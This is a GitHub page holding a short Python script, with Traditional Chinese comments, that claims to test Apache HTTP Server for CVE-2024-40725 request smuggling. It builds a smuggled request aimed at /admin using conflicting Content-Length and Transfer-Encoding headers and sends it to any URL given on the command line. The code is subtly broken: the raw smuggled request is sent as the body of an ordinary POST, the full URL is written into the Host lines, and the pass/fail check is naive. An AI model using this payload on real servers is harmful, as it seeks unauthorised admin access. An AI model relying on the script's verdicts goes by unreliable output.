-
Notifications
You must be signed in to change notification settings - Fork 17
/
Copy pathCVE-2024-40725.py
40 lines (35 loc) · 1.43 KB
/
CVE-2024-40725.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import argparse
def detect_http_request_smuggling(target_url):
"""
檢測目標 Apache HTTP Server 是否存在 CVE-2024-40725 (HTTP Request Smuggling) 漏洞
:param target_url: 目標伺服器的 URL
"""
# 構造 HTTP Request Smuggling 攻擊請求
smuggled_request = (
"POST / HTTP/1.1\r\n"
"Host: {}\r\n"
"Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"0\r\n\r\n"
"GET /admin HTTP/1.1\r\n"
"Host: {}\r\n"
"User-Agent: smuggle-test\r\n"
"\r\n"
).format(target_url, target_url)
try:
# 發送請求到目標伺服器
response = requests.post(target_url, data=smuggled_request, headers={'Content-Type': 'text/plain'}, timeout=10)
# 判斷回應是否表示存在漏洞
if response.status_code == 200 and "admin" in response.text:
print(f"目標 {target_url} 可能存在 CVE-2024-40725 漏洞")
else:
print(f"目標 {target_url} 不存在 CVE-2024-40725 漏洞")
except Exception as e:
print(f"檢測過程中出錯: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='檢測 CVE-2024-40725 漏洞')
parser.add_argument('-u', '--url', required=True, help='目標伺服器的 URL')
args = parser.parse_args()
detect_http_request_smuggling(args.url)